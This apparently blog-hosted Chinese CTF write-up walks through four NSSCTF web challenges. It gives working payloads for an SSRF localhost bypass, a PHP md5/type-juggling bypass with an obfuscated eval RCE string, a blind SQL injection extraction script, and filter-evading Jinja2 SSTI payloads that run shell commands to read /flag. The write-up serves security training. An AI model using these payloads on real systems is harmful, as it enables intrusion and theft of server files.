DHCP
DHCP
Published on 2025-03-23 / 4 Visits
2
0

NSSCTF Round#28 Team组队赛 WEB-WP

NSSCTF Round#28 Team组队赛 WEB-WP

image.png

题目:ez_ssrf

看一下题:

 <?php
highlight_file(__FILE__);

//flag在/flag路由中

if (isset($_GET['url'])) {
    $url = $_GET['url'];

    if (strpos($url, 'http://') !== 0) {
        echo json_encode(["error" => "Only http:// URLs are allowed"]);
        exit;
    }

    $host = parse_url($url, PHP_URL_HOST);

    $ip = gethostbyname($host);

    $forbidden_ips = ['127.0.0.1', '::1'];
    if (in_array($ip, $forbidden_ips)) {
        echo json_encode(["error" => "Access to localhost or 127.0.0.1 is forbidden"]);
        exit;
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    $response = curl_exec($ch);

    if (curl_errno($ch)) {
        echo json_encode(["error" => curl_error($ch)]);
    } else {
        echo $response;
    }

    curl_close($ch);
} else {
    echo json_encode(["error" => "Please provide a 'url' parameter"]);
}
?>
{"error":"Please provide a 'url' parameter"}

可知我们想要得到flag必须访问本地的/flag路由,构造的payload必须是http://开头,地址不能指向127.0.0.1
所以我们不能直接访问http://127.0.0.1/flag,而且127.0.0.1的不同进制表现形式都不能用
但是我们可以使用127.0.0.0/8网段的其他IP:

http://127.0.2.1/flag
http://127.1.1.1/flag
http://127.2.2.1/flag
......

image.png
也可以使用0.0.0.0

http://0.0.0.0/flag

image.png
得到flag:NSSCTF{cd2ae452-569c-4dae-a4bf-8170cb7a733f}

题目:ez_php

看一下题:

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['a']) && isset($_POST['b']) && isset($_GET['password'])) {
    $a = $_POST['a'];
    $b = $_POST['b'];
    $password = $_GET['password'];
    
    if (is_numeric($password)) {
        die("password can't be a number</br>");
    } elseif ($password != 123456) {
        die("Wrong password</br>");
    }

    if ($a != $b && md5($a) === md5($b)) {
        echo "wonderful</br>";
        include($_POST['file']);   # level2.php
    }
}
?> 

很简单直接构造payload

GET:?password=123456e
POST:a[]=1&b[]=2

image.png
这里可以直接通过post传入file=/flag来得到flag
image.png
但是我们还是看一下level2.php里面的内容,通过php伪协议:
file=php://filter/read=convert.base64-encode/resource=level2.php
image.png
得到:PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmlmIChpc3NldCgkX1BPU1RbJ3JjZSddKSkgew0KICAgICRyY2UgPSAkX1BPU1RbJ3JjZSddOw0KICAgIGlmIChzdHJsZW4oJHJjZSkgPD0gMTIwKSB7DQogICAgICAgIGlmIChpc19zdHJpbmcoJHJjZSkpIHsNCiAgICAgICAgICAgIGlmICghcHJlZ19tYXRjaCgiL1shQCMlXiYqOidcLTw/PlwiXC98YGEtekEtWn5cXFxcXS8iLCAkcmNlKSkgew0KICAgICAgICAgICAgICAgIGV2YWwoJHJjZSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8oIkFyZSB5b3UgaGFjayBtZT8iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gIkkgd2FudCBzdHJpbmchIjsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gInRvbyBsb25nISI7DQogICAgfQ0KfQ0KPz4=
解一下:
image.png

<?php
error_reporting(0);
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}
?>

很简单的命令执行,可以用自增构造绕过
payload:

GET: ?1=system&2=cat /flag
POST: rce=$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__; $_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

image.png
得到flag:NSSCTF{fd0584b9-65ff-46eb-851c-0f69427cb63e}

题目:light_pink

image.png
打开题目测试一下,发现是字符型sql注入,盲注,过滤了=,>,<
image.png
这里直接跑exp爆flag
exp:

import requests
import time
url='http://node6.anna.nssctf.cn:21421/detail.php'
flag=''

for i in range(1,100):
    mid=32
    while(True):
        #payload = url+"?id=0' or (ascii(substr(database(),{},1)) like {}) or '0".format(i,mid)   #爆库名
        #payload = url+"?id=0' or (ascii(substr((SelecT(group_concat(table_name))from(information_schema.tables)where(table_schema like (database()))),{},1)) like {}) or '0".format(i,mid)  #爆表名
        #payload = url+"?id=0' or (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name like 'messages')),{},1)) like {}) or '0".format(i,mid) #爆字段名
        payload = url+"?id=0' or (ascii(substr((select(group_concat(Happy))from(nss_board.Cute)),{},1)) like {}) or '0".format(i,mid) #爆flag

        res=requests.get(payload)
        if "大家好" in res.text or mid ==150:
            break
        mid+=1
    flag+=chr(mid)
    print(flag)

image.png
得到flag:NSSCTF{Hel1o_th1s_is_light_p1nk_flag}

题目:Coding Loving

打开题目:
image.png
存在附件,我们看一下:

app = Flask(__name__)
app.secret_key = 'Ciallo~(∠・ω <)⌒★'
FILTER_KEYWORDS = ['Ciallo~(∠・ω <)⌒★']
TIME_LIMIT = 1
def contains_forbidden_keywords(complaint):
    for keyword in FILTER_KEYWORDS:
        if keyword.lower() in complaint:
            return True
    return False
@app.route('/', methods=['GET', 'POST'])
def index():
    session['user'] = 'test'
    command = request.form.get('cmd', 'coding')
    return render_template('index.html', command=command)

@app.route('/test', methods=['GET', 'POST'])
def shell():
    if session.get('user') != 'test':
        return render_template('Auth.html')
    if (abc:=request.headers.get('User-Agent')) is None:
        return render_template('Auth.html')
    cmd = request.args.get('cmd', '试一试')
    if request.method == 'POST':
        css_url = url_for('static', filename='style.css')
        command = request.form.get('cmd')
        if contains_forbidden_keywords(command):
            return render_template('forbidden.html')
        return render_template_string(f'''
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Loving Music</title>
            <link rel="stylesheet" href="{css_url}">
            <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet">
        </head>
        <body>
            <div class="container">
                <h1>Loving coding</h1>
                <p class="emoji">🧑‍💻</p>
                <p>{command}</p>
            </div>
        </body>
        </html>
        ''', command=command,css_url=css_url)
    return render_template('shell.html', command=cmd)

我们可以看到题目考察ssti,并且还需要带上cookie进行验证,所以焚靖工具无法一把梭
我们可以写一个fuzz脚本,带上cookie后fuzz一下,然后在本地写一个app.py,带上黑名单里的字符在本地使用焚靖跑一下,得到payload后再上传
fuzz.py:

import re
import requests
url = "http://node6.anna.nssctf.cn:29588/test"  ###
pattern =r'0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-=[]{};\':"|,.<>/?~`,'
session_cookie={"session":'eyJ1c2VyIjoidGVzdCJ9.Z9-ang.v3HCY8Gqk-Q1EzjW39ZR6Wz0Jpo'}   ###
blacklist=[]
whitelist=[]

def fuzz(zd):
    global blacklist,whitelist
    for char in zd:
        response = requests.post(   ###
            url,                    ###
            data={"cmd":char},      ###
            cookies=session_cookie
        )
        print(f"Testing character:{char}")
        if "检测到输入非法字符" in response.text:  ####
            blacklist.append(char)
            print(f"Character'{char}'is blacklisted.")
        else:
            whitelist.append(char)
            print(f"Character'{char}'is witelisted.")
    
    
fuzz(pattern)
fuzz(['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n','{{1}}','{1}','flag','read','os','builtins','globals','getitem','class','mro','subclasses','()','[]'])
print("\n分类结果:")
print("白名单:",whitelist)
print("黑名单:",blacklist)

image.png
黑名单: ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'g', 'g', '%', '_', '.', '/', '__', 'flag', 'read', 'globals', 'getitem']
带入app.py:

from flask import *
from jinja2 import *
from os import *
import re
app = Flask(__name__)
@app.route("/")
def index():
    name = request.args.get('name')
    html = '''<h3><br> Hello %s'''%name
    blacklist = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'g', 'g', '%', '_', '.', '/', '__', 'flag', 'read', 'globals', 'getitem']
    if name and any(black in name for black in blacklist):
        return "Forbidden content detected!"
    result = render_template_string(html)
    return result
    

if __name__ == "__main__":
        app.run(debug=True)

本地运行app.py:
image.png
然后使用焚靖对app.py一把梭,绕过后执行ls /
image.png
ls /的payload:
cmd={{cycler['next'][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'GLOBALS'|lower+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'builtins'+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'import'+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count]('os')['popen'](((lipsum()|urlencode|first+'c')*(x,x,x,x)|count)|format(((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x,x)|count)*(x,x,x,x,x)|count),((x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count),((x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x)|count)))['r''ead']()}}
然后把生成的payload带入到题目测试一下
image.png
执行成功,我们可以读取一下flag
cat /flag的payload:
cmd={{cycler['next'][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'GLOBALS'|lower+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'builtins'+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count][lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count+'import'+lipsum|escape|batch(((x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count))|list|first|last*(x,x)|count]('os')['popen'](((lipsum()|urlencode|first+'c')*(x,x,x,x,x,x,x,x,x)|count)|format(((x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x,x,x,x)|count),(((x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x)|count)*(x,x,x,x)|count),((x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count),((x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count+(x,x,x,x)|count)))['r''ead']()}}
image.png
得到flag:NSSCTF{77ffd6e8-b6e2-4945-ba03-cfbaace0eb6b}


Comment